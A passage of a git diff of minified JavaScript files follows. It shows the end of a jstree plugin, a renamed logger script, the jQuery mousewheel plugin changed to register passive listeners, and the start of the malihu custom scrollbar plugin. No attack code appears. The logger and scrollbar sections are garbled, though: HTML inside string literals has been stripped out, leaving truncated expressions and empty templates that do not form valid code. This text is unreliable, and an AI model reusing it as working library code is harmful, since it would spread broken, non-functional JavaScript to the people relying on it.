.jstree-icon",$.proxy(function(e){e.stopImmediatePropagation();if(!this.is_disabled(e.currentTarget)){this.hover_node(e.currentTarget)}return false},this)).on("mouseleave.jstree",".jstree-node",$.proxy(function(e){this.dehover_node(e.currentTarget)},this))};this.teardown=function(){if(this.settings.wholerow){this.element.find(".jstree-wholerow").remove()}parent.teardown.call(this)};this.redraw_node=function(obj,deep,callback,force_render){obj=parent.redraw_node.apply(this,arguments);if(obj){var tmp=div.cloneNode(true);if($.inArray(obj.id,this._data.core.selected)!==-1){tmp.className+=' jstree-wholerow-clicked'}if(this._data.core.focused&&this._data.core.focused===obj.id){tmp.className+=' jstree-wholerow-hovered'}obj.insertBefore(tmp,obj.childNodes[0])}return obj}};if(window.customElements&&Object&&Object.create){var proto=Object.create(HTMLElement.prototype);proto.createdCallback=function(){var c={core:{},plugins:[]},i;for(i in $.jstree.plugins){if($.jstree.plugins.hasOwnProperty(i)&&this.attributes[i]){c.plugins.push(i);if(this.getAttribute(i)&&JSON.parse(this.getAttribute(i))){c[i]=JSON.parse(this.getAttribute(i))}}}for(i in $.jstree.defaults.core){if($.jstree.defaults.core.hasOwnProperty(i)&&this.attributes[i]){c.core[i]=JSON.parse(this.getAttribute(i))||this.getAttribute(i)}}$(this).jstree(c)};try{window.customElements.define("vakata-jstree",function(){},{prototype:proto})}catch(ignore){}}})); \ No newline at end of file diff --git a/js/logger.pmin.js b/js/logger.min.js similarity index 99% rename from js/logger.pmin.js rename to js/logger.min.js index bdc9e17..42523a7 100644 --- a/js/logger.pmin.js +++ b/js/logger.min.js @@ -1 +1 @@ -!function(e){"use strict";function p(e){return"function"==typeof e||"[object Function]"===t.call(e)}function f(e){var t,n=(t=Number(e),isNaN(t)?0:0!==t&&isFinite(t)?(0',r=0;r='+o+"
        "}return n+=""}function n(e){var t=document.createEvent("Event");t.initEvent("addLog",!1,!1),t.message=e,window.jQuery&&(t.immediate=4===window.jQuery("#tabs").tabs("option","active")),frames.ifrlog.window.document.dispatchEvent(t)}function c(e){if(document.getElementById("inet").checked&&0"===n.substr(0,4)&&(n=n.substr(4,n.length-4)),r="
        ",o="\n ",n=n.replace(new RegExp(function(e){return e.replace(/([.*+?^=!:${}()|\[\]\/\\])/g,"\\$1")}(r),"g"),o),helper&&helper.bc&&helper.bc.send(n))}var r,o}function u(e,t){return function(){return t.apply(e,arguments)}}function g(){for(var e,t=arguments,n=t[0],r=1;r=t.value},trace:function(){this.invoke(h.TRACE,arguments),c(arguments)},debug:function(){this.invoke(h.DEBUG,arguments);for(var e="

        ',t=0;t, "),"string"==typeof arguments[t]?e+=arguments[t]:"number"==typeof arguments[t]?e+="0x"+arguments[t].toString(16):"boolean"==typeof arguments[t]?e+=arguments[t]:"object"==typeof arguments[t]?e+=s(arguments[t]):"function"==typeof arguments[t]&&(e+=arguments[t]);n(e+"

        ")},info:function(){this.invoke(h.INFO,arguments);var e=document.getElementById(this._iptlog).checked?"log-info":"log-info ui-helper-hidden";0"===arguments[0].substr(0,4)&&(arguments[0]=arguments[0].substr(4)),n("

        '+Array.from(arguments)+"

        "),c(arguments)},warn:function(){this.invoke(h.WARN,arguments);var e=document.getElementById(this._iptwrn).checked?"log-warning":"log-warning ui-helper-hidden";n("

        '+Array.from(arguments)+"

        "),c(arguments)},error:function(){this.invoke(h.ERROR,arguments);var e=document.getElementById(this._ipterr).checked?"log-error":"log-error ui-helper-hidden";n("

        '+Array.from(arguments)+"

        "),c(arguments)},time:function(e){"string"==typeof e&&0',r=0;r='+o+"
        "}return n+=""}function n(e){var t=document.createEvent("Event");t.initEvent("addLog",!1,!1),t.message=e,window.jQuery&&(t.immediate=4===window.jQuery("#tabs").tabs("option","active")),frames.ifrlog.window.document.dispatchEvent(t)}function c(e){if(document.getElementById("inet").checked&&0"===n.substr(0,4)&&(n=n.substr(4,n.length-4)),r="
        ",o="\n ",n=n.replace(new RegExp(function(e){return e.replace(/([.*+?^=!:${}()|\[\]\/\\])/g,"\\$1")}(r),"g"),o),helper&&helper.bc&&helper.bc.send(n))}var r,o}function u(e,t){return function(){return t.apply(e,arguments)}}function g(){for(var e,t=arguments,n=t[0],r=1;r=t.value},trace:function(){this.invoke(h.TRACE,arguments),c(arguments)},debug:function(){this.invoke(h.DEBUG,arguments);for(var e="

        ',t=0;t, "),"string"==typeof arguments[t]?e+=arguments[t]:"number"==typeof arguments[t]?e+="0x"+arguments[t].toString(16):"boolean"==typeof arguments[t]?e+=arguments[t]:"object"==typeof arguments[t]?e+=s(arguments[t]):"function"==typeof arguments[t]&&(e+=arguments[t]);n(e+"

        ")},info:function(){this.invoke(h.INFO,arguments);var e=document.getElementById(this._iptlog).checked?"log-info":"log-info ui-helper-hidden";0"===arguments[0].substr(0,4)&&(arguments[0]=arguments[0].substr(4)),n("

        '+Array.from(arguments)+"

        "),c(arguments)},warn:function(){this.invoke(h.WARN,arguments);var e=document.getElementById(this._iptwrn).checked?"log-warning":"log-warning ui-helper-hidden";n("

        '+Array.from(arguments)+"

        "),c(arguments)},error:function(){this.invoke(h.ERROR,arguments);var e=document.getElementById(this._ipterr).checked?"log-error":"log-error ui-helper-hidden";n("

        '+Array.from(arguments)+"

        "),c(arguments)},time:function(e){"string"==typeof e&&0n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})}); +!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,{passive:true});else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})});!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):"object"==typeof exports?module.exports=a:a(jQuery)}(function(a){function b(b){var g=b||window.event,h=i.call(arguments,1),j=0,l=0,m=0,n=0,o=0,p=0;if(b=a.event.fix(g),b.type="mousewheel","detail"in g&&(m=-1*g.detail),"wheelDelta"in g&&(m=g.wheelDelta),"wheelDeltaY"in g&&(m=g.wheelDeltaY),"wheelDeltaX"in g&&(l=-1*g.wheelDeltaX),"axis"in g&&g.axis===g.HORIZONTAL_AXIS&&(l=-1*m,m=0),j=0===m?l:m,"deltaY"in g&&(m=-1*g.deltaY,j=m),"deltaX"in g&&(l=g.deltaX,0===m&&(j=-1*l)),0!==m||0!==l){if(1===g.deltaMode){var q=a.data(this,"mousewheel-line-height");j*=q,m*=q,l*=q}else if(2===g.deltaMode){var r=a.data(this,"mousewheel-page-height");j*=r,m*=r,l*=r}if(n=Math.max(Math.abs(m),Math.abs(l)),(!f||f>n)&&(f=n,d(g,n)&&(f/=40)),d(g,n)&&(j/=40,l/=40,m/=40),j=Math[j>=1?"floor":"ceil"](j/f),l=Math[l>=1?"floor":"ceil"](l/f),m=Math[m>=1?"floor":"ceil"](m/f),k.settings.normalizeOffset&&this.getBoundingClientRect){var s=this.getBoundingClientRect();o=b.clientX-s.left,p=b.clientY-s.top}return b.deltaX=l,b.deltaY=m,b.deltaFactor=f,b.offsetX=o,b.offsetY=p,b.deltaMode=0,h.unshift(b,j,l,m),e&&clearTimeout(e),e=setTimeout(c,200),(a.event.dispatch||a.event.handle).apply(this,h)}}function c(){f=null}function d(a,b){return k.settings.adjustOldDeltas&&"mousewheel"===a.type&&b%120===0}var e,f,g=["wheel","mousewheel","DOMMouseScroll","MozMousePixelScroll"],h="onwheel"in document||document.documentMode>=9?["wheel"]:["mousewheel","DomMouseScroll","MozMousePixelScroll"],i=Array.prototype.slice;if(a.event.fixHooks)for(var j=g.length;j;)a.event.fixHooks[g[--j]]=a.event.mouseHooks;var k=a.event.special.mousewheel={version:"3.1.12",setup:function(){if(this.addEventListener)for(var c=h.length;c;)this.addEventListener(h[--c],b,!1);else this.onmousewheel=b;a.data(this,"mousewheel-line-height",k.getLineHeight(this)),a.data(this,"mousewheel-page-height",k.getPageHeight(this))},teardown:function(){if(this.removeEventListener)for(var c=h.length;c;)this.removeEventListener(h[--c],b,!1);else this.onmousewheel=null;a.removeData(this,"mousewheel-line-height"),a.removeData(this,"mousewheel-page-height")},getLineHeight:function(b){var c=a(b),d=c["offsetParent"in a.fn?"offsetParent":"parent"]();return d.length||(d=a("body")),parseInt(d.css("fontSize"),10)||parseInt(c.css("fontSize"),10)||16},getPageHeight:function(b){return a(b).height()},settings:{adjustOldDeltas:!0,normalizeOffset:!0}};a.fn.extend({mousewheel:function(a){return a?this.bind("mousewheel",a):this.trigger("mousewheel")},unmousewheel:function(a){return this.unbind("mousewheel",a)}})}); /* == malihu jquery custom scrollbar plugin == Version: 3.1.5, License: MIT License (MIT) */ !function(e){"function"==typeof define&&define.amd?define(["jquery"],e):"undefined"!=typeof module&&module.exports?module.exports=e:e(jQuery,window,document)}(function(e){!function(t){var o="function"==typeof define&&define.amd,a="undefined"!=typeof module&&module.exports,n="https:"==document.location.protocol?"https:":"http:",i="cdnjs.cloudflare.com/ajax/libs/jquery-mousewheel/3.1.13/jquery.mousewheel.min.js";o||(a?require("jquery-mousewheel")(e):e.event.special.mousewheel||e("head").append(decodeURI("%3Cscript src="+n+"//"+i+"%3E%3C/script%3E"))),t()}(function(){var t,o="mCustomScrollbar",a="mCS",n=".mCustomScrollbar",i={setTop:0,setLeft:0,axis:"y",scrollbarPosition:"inside",scrollInertia:950,autoDraggerLength:!0,alwaysShowScrollbar:0,snapOffset:0,mouseWheel:{enable:!0,scrollAmount:"auto",axis:"y",deltaFactor:"auto",disableOver:["select","option","keygen","datalist","textarea"]},scrollButtons:{scrollType:"stepless",scrollAmount:"auto"},keyboard:{enable:!0,scrollType:"stepless",scrollAmount:"auto"},contentTouchScroll:25,documentTouchScroll:!0,advanced:{autoScrollOnFocus:"input,textarea,select,button,datalist,keygen,a[tabindex],area,object,[contenteditable='true']",updateOnContentResize:!0,updateOnImageLoad:"auto",autoUpdateTimeout:60},theme:"light",callbacks:{onTotalScrollOffset:0,onTotalScrollBackOffset:0,alwaysTriggerOffsets:!0}},r=0,l={},s=window.attachEvent&&!window.addEventListener?1:0,c=!1,d=["mCSB_dragger_onDrag","mCSB_scrollTools_onDrag","mCS_img_loaded","mCS_disabled","mCS_destroyed","mCS_no_scrollbar","mCS-autoHide","mCS-dir-rtl","mCS_no_scrollbar_y","mCS_no_scrollbar_x","mCS_y_hidden","mCS_x_hidden","mCSB_draggerContainer","mCSB_buttonUp","mCSB_buttonDown","mCSB_buttonLeft","mCSB_buttonRight"],u={init:function(t){var t=e.extend(!0,{},i,t),o=f.call(this);if(t.live){var s=t.liveSelector||this.selector||n,c=e(s);if("off"===t.live)return void m(s);l[s]=setTimeout(function(){c.mCustomScrollbar(t),"once"===t.live&&c.length&&m(s)},500)}else m(s);return t.setWidth=t.set_width?t.set_width:t.setWidth,t.setHeight=t.set_height?t.set_height:t.setHeight,t.axis=t.horizontalScroll?"x":p(t.axis),t.scrollInertia=t.scrollInertia>0&&t.scrollInertia<17?17:t.scrollInertia,"object"!=typeof t.mouseWheel&&1==t.mouseWheel&&(t.mouseWheel={enable:!0,scrollAmount:"auto",axis:"y",preventDefault:!1,deltaFactor:"auto",normalizeDelta:!1,invert:!1}),t.mouseWheel.scrollAmount=t.mouseWheelPixels?t.mouseWheelPixels:t.mouseWheel.scrollAmount,t.mouseWheel.normalizeDelta=t.advanced.normalizeMouseWheelDelta?t.advanced.normalizeMouseWheelDelta:t.mouseWheel.normalizeDelta,t.scrollButtons.scrollType=g(t.scrollButtons.scrollType),h(t),e(o).each(function(){var o=e(this);if(!o.data(a)){o.data(a,{idx:++r,opt:t,scrollRatio:{y:null,x:null},overflowed:null,contentReset:{y:null,x:null},bindEvents:!1,tweenRunning:!1,sequential:{},langDir:o.css("direction"),cbOffsets:null,trigger:null,poll:{size:{o:0,n:0},img:{o:0,n:0},change:{o:0,n:0}}});var n=o.data(a),i=n.opt,l=o.data("mcs-axis"),s=o.data("mcs-scrollbar-position"),c=o.data("mcs-theme");l&&(i.axis=l),s&&(i.scrollbarPosition=s),c&&(i.theme=c,h(i)),v.call(this),n&&i.callbacks.onCreate&&"function"==typeof i.callbacks.onCreate&&i.callbacks.onCreate.call(this),e("#mCSB_"+n.idx+"_container img:not(."+d[2]+")").addClass(d[2]),u.update.call(null,o)}})},update:function(t,o){var n=t||f.call(this);return e(n).each(function(){var t=e(this);if(t.data(a)){var n=t.data(a),i=n.opt,r=e("#mCSB_"+n.idx+"_container"),l=e("#mCSB_"+n.idx),s=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];if(!r.length)return;n.tweenRunning&&Q(t),o&&n&&i.callbacks.onBeforeUpdate&&"function"==typeof i.callbacks.onBeforeUpdate&&i.callbacks.onBeforeUpdate.call(this),t.hasClass(d[3])&&t.removeClass(d[3]),t.hasClass(d[4])&&t.removeClass(d[4]),l.css("max-height","none"),l.height()!==t.height()&&l.css("max-height",t.height()),_.call(this),"y"===i.axis||i.advanced.autoExpandHorizontalScroll||r.css("width",x(r)),n.overflowed=y.call(this),M.call(this),i.autoDraggerLength&&S.call(this),b.call(this),T.call(this);var c=[Math.abs(r[0].offsetTop),Math.abs(r[0].offsetLeft)];"x"!==i.axis&&(n.overflowed[0]?s[0].height()>s[0].parent().height()?B.call(this):(G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}),n.contentReset.y=null):(B.call(this),"y"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[1]&&G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}))),"y"!==i.axis&&(n.overflowed[1]?s[1].width()>s[1].parent().width()?B.call(this):(G(t,c[1].toString(),{dir:"x",dur:0,overwrite:"none"}),n.contentReset.x=null):(B.call(this),"x"===i.axis?k.call(this):"yx"===i.axis&&n.overflowed[0]&&G(t,c[0].toString(),{dir:"y",dur:0,overwrite:"none"}))),o&&n&&(2===o&&i.callbacks.onImageLoad&&"function"==typeof i.callbacks.onImageLoad?i.callbacks.onImageLoad.call(this):3===o&&i.callbacks.onSelectorChange&&"function"==typeof i.callbacks.onSelectorChange?i.callbacks.onSelectorChange.call(this):i.callbacks.onUpdate&&"function"==typeof i.callbacks.onUpdate&&i.callbacks.onUpdate.call(this)),N.call(this)}})},scrollTo:function(t,o){if("undefined"!=typeof t&&null!=t){var n=f.call(this);return e(n).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l={trigger:"external",scrollInertia:r.scrollInertia,scrollEasing:"mcsEaseInOut",moveDragger:!1,timeout:60,callbacks:!0,onStart:!0,onUpdate:!0,onComplete:!0},s=e.extend(!0,{},l,o),c=Y.call(this,t),d=s.scrollInertia>0&&s.scrollInertia<17?17:s.scrollInertia;c[0]=X.call(this,c[0],"y"),c[1]=X.call(this,c[1],"x"),s.moveDragger&&(c[0]*=i.scrollRatio.y,c[1]*=i.scrollRatio.x),s.dur=ne()?0:d,setTimeout(function(){null!==c[0]&&"undefined"!=typeof c[0]&&"x"!==r.axis&&i.overflowed[0]&&(s.dir="y",s.overwrite="all",G(n,c[0].toString(),s)),null!==c[1]&&"undefined"!=typeof c[1]&&"y"!==r.axis&&i.overflowed[1]&&(s.dir="x",s.overwrite="none",G(n,c[1].toString(),s))},s.timeout)}})}},stop:function(){var t=f.call(this);return e(t).each(function(){var t=e(this);t.data(a)&&Q(t)})},disable:function(t){var o=f.call(this);return e(o).each(function(){var o=e(this);if(o.data(a)){o.data(a);N.call(this,"remove"),k.call(this),t&&B.call(this),M.call(this,!0),o.addClass(d[3])}})},destroy:function(){var t=f.call(this);return e(t).each(function(){var n=e(this);if(n.data(a)){var i=n.data(a),r=i.opt,l=e("#mCSB_"+i.idx),s=e("#mCSB_"+i.idx+"_container"),c=e(".mCSB_"+i.idx+"_scrollbar");r.live&&m(r.liveSelector||e(t).selector),N.call(this,"remove"),k.call(this),B.call(this),n.removeData(a),$(this,"mcs"),c.remove(),s.find("img."+d[2]).removeClass(d[2]),l.replaceWith(s.contents()),n.removeClass(o+" _"+a+"_"+i.idx+" "+d[6]+" "+d[7]+" "+d[5]+" "+d[3]).addClass(d[4])}})}},f=function(){return"object"!=typeof e(this)||e(this).length<1?n:this},h=function(t){var o=["rounded","rounded-dark","rounded-dots","rounded-dots-dark"],a=["rounded-dots","rounded-dots-dark","3d","3d-dark","3d-thick","3d-thick-dark","inset","inset-dark","inset-2","inset-2-dark","inset-3","inset-3-dark"],n=["minimal","minimal-dark"],i=["minimal","minimal-dark"],r=["minimal","minimal-dark"];t.autoDraggerLength=e.inArray(t.theme,o)>-1?!1:t.autoDraggerLength,t.autoExpandScrollbar=e.inArray(t.theme,a)>-1?!1:t.autoExpandScrollbar,t.scrollButtons.enable=e.inArray(t.theme,n)>-1?!1:t.scrollButtons.enable,t.autoHideScrollbar=e.inArray(t.theme,i)>-1?!0:t.autoHideScrollbar,t.scrollbarPosition=e.inArray(t.theme,r)>-1?"outside":t.scrollbarPosition},m=function(e){l[e]&&(clearTimeout(l[e]),$(l,e))},p=function(e){return"yx"===e||"xy"===e||"auto"===e?"yx":"x"===e||"horizontal"===e?"x":"y"},g=function(e){return"stepped"===e||"pixels"===e||"step"===e||"click"===e?"stepped":"stepless"},v=function(){var t=e(this),n=t.data(a),i=n.opt,r=i.autoExpandScrollbar?" "+d[1]+"_expand":"",l=["
        ","
        "],s="yx"===i.axis?"mCSB_vertical_horizontal":"x"===i.axis?"mCSB_horizontal":"mCSB_vertical",c="yx"===i.axis?l[0]+l[1]:"x"===i.axis?l[1]:l[0],u="yx"===i.axis?"
        ":"",f=i.autoHideScrollbar?" "+d[6]:"",h="x"!==i.axis&&"rtl"===n.langDir?" "+d[7]:"";i.setWidth&&t.css("width",i.setWidth),i.setHeight&&t.css("height",i.setHeight),i.setLeft="y"!==i.axis&&"rtl"===n.langDir?"989999px":i.setLeft,t.addClass(o+" _"+a+"_"+n.idx+f+h).wrapInner("
        ");var m=e("#mCSB_"+n.idx),p=e("#mCSB_"+n.idx+"_container");"y"===i.axis||i.advanced.autoExpandHorizontalScroll||p.css("width",x(p)),"outside"===i.scrollbarPosition?("static"===t.css("position")&&t.css("position","relative"),t.css("overflow","visible"),m.addClass("mCSB_outside").after(c)):(m.addClass("mCSB_inside").append(c),p.wrap(u)),w.call(this);var g=[e("#mCSB_"+n.idx+"_dragger_vertical"),e("#mCSB_"+n.idx+"_dragger_horizontal")];g[0].css("min-height",g[0].height()),g[1].css("min-width",g[1].width())},x=function(t){var o=[t[0].scrollWidth,Math.max.apply(Math,t.children().map(function(){return e(this).outerWidth(!0)}).get())],a=t.parent().width();return o[0]>a?o[0]:o[1]>a?o[1]:"100%"},_=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx+"_container");if(n.advanced.autoExpandHorizontalScroll&&"y"!==n.axis){i.css({width:"auto","min-width":0,"overflow-x":"scroll"});var r=Math.ceil(i[0].scrollWidth);3===n.advanced.autoExpandHorizontalScroll||2!==n.advanced.autoExpandHorizontalScroll&&r>i.parent().width()?i.css({width:r,"min-width":"100%","overflow-x":"inherit"}):i.css({"overflow-x":"inherit",position:"absolute"}).wrap("
        ").css({width:Math.ceil(i[0].getBoundingClientRect().right+.4)-Math.floor(i[0].getBoundingClientRect().left),"min-width":"100%",position:"relative"}).unwrap()}},w=function(){var t=e(this),o=t.data(a),n=o.opt,i=e(".mCSB_"+o.idx+"_scrollbar:first"),r=oe(n.scrollButtons.tabindex)?"tabindex='"+n.scrollButtons.tabindex+"'":"",l=["","","",""],s=["x"===n.axis?l[2]:l[0],"x"===n.axis?l[3]:l[1],l[2],l[3]];n.scrollButtons.enable&&i.prepend(s[0]).append(s[1]).next(".mCSB_scrollTools").prepend(s[2]).append(s[3])},S=function(){var t=e(this),o=t.data(a),n=e("#mCSB_"+o.idx),i=e("#mCSB_"+o.idx+"_container"),r=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")],l=[n.height()/i.outerHeight(!1),n.width()/i.outerWidth(!1)],c=[parseInt(r[0].css("min-height")),Math.round(l[0]*r[0].parent().height()),parseInt(r[1].css("min-width")),Math.round(l[1]*r[1].parent().width())],d=s&&c[1]r&&(r=s),c>l&&(l=c),[r>n.height(),l>n.width()]},B=function(){var t=e(this),o=t.data(a),n=o.opt,i=e("#mCSB_"+o.idx),r=e("#mCSB_"+o.idx+"_container"),l=[e("#mCSB_"+o.idx+"_dragger_vertical"),e("#mCSB_"+o.idx+"_dragger_horizontal")];if(Q(t),("x"!==n.axis&&!o.overflowed[0]||"y"===n.axis&&o.overflowed[0])&&(l[0].add(r).css("top",0),G(t,"_resetY")),"y"!==n.axis&&!o.overflowed[1]||"x"===n.axis&&o.overflowed[1]){var s=dx=0;"rtl"===o.langDir&&(s=i.width()-r.outerWidth(!1),dx=Math.abs(s/o.scrollRatio.x)),r.css("left",s),l[1].css("left",dx),G(t,"_resetX")}},T=function(){function t(){r=setTimeout(function(){e.event.special.mousewheel?(clearTimeout(r),W.call(o[0])):t()},100)}var o=e(this),n=o.data(a),i=n.opt;if(!n.bindEvents){if(I.call(this),i.contentTouchScroll&&D.call(this),E.call(this),i.mouseWheel.enable){var r;t()}P.call(this),U.call(this),i.advanced.autoScrollOnFocus&&H.call(this),i.scrollButtons.enable&&F.call(this),i.keyboard.enable&&q.call(this),n.bindEvents=!0}},k=function(){var t=e(this),o=t.data(a),n=o.opt,i=a+"_"+o.idx,r=".mCSB_"+o.idx+"_scrollbar",l=e("#mCSB_"+o.idx+",#mCSB_"+o.idx+"_container,#mCSB_"+o.idx+"_container_wrapper,"+r+" ."+d[12]+",#mCSB_"+o.idx+"_dragger_vertical,#mCSB_"+o.idx+"_dragger_horizontal,"+r+">a"),s=e("#mCSB_"+o.idx+"_container");n.advanced.releaseDraggableSelectors&&l.add(e(n.advanced.releaseDraggableSelectors)),n.advanced.extraDraggableSelectors&&l.add(e(n.advanced.extraDraggableSelectors)),o.bindEvents&&(e(document).add(e(!A()||top.document)).unbind("."+i),l.each(function(){e(this).unbind("."+i)}),clearTimeout(t[0]._focusTimeout),$(t[0],"_focusTimeout"),clearTimeout(o.sequential.step),$(o.sequential,"step"),clearTimeout(s[0].onCompleteTimeout),$(s[0],"onCompleteTimeout"),o.bindEvents=!1)},M=function(t){var 